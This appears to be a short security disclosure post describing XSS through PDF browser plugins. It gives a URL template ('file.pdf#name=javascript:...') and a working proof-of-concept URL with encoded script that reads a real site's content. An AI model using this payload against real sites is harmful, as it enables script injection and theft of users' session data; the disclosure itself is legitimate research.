pdf-xss.txt

`I will be very quick and just point to links where you can read about  
this issue.  
  
It seams that PDF documents can execute JavaScript code for no  
apparent reason by using the following template:  
  
http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here  
  
You must understand that the attacker doesn't need to have write  
access to the specified PDF document. In order to get an XSS vector  
working you need to have a PDF file hosted on the target and that's  
all about it. The rest is just a matter of your abilities and desires.  
  
This finding was originally mentioned by Sven Vetsch, on his blog.  
This is a very good and quite interesting. Good work.  
  
There is a POC I composed:  
  
http://www.google.com/librariancenter/downloads/Tips_Tricks_85x11.pdf#something=javascript:function%20createXMLHttpRequest(){%20%20%20try{%20return%20new%20ActiveXObject('Msxml2.XMLHTTP');%20}catch(e){}%20%20%20try{%20return%20new%20ActiveXObject('Microsoft.XMLHTTP');%20}catch(e){}%20%20%20try{%20return%20new%20XMLHttpRequest();%20}catch(e){}%20%20%20return%20null;}var%20xhr%20=%20createXMLHttpRequest();xhr.onreadystatechange%20=%20function(){%20%20%20%20if%20(xhr.readyState%20==%204)%20%20%20%20%20%20%20%20alert(xhr.responseText);};xhr.open('GET',%20'http://www.google.com',%20true);xhr.send(null);  
  
More on the matter can be found here:  
  
http://www.gnucitizen.org/blog/danger-danger-danger/  
http://www.disenchant.ch/blog/hacking-with-browser-plugins/34  
  
--   
pdp (architect) | petko d. petkov  
http://www.gnucitizen.org  
`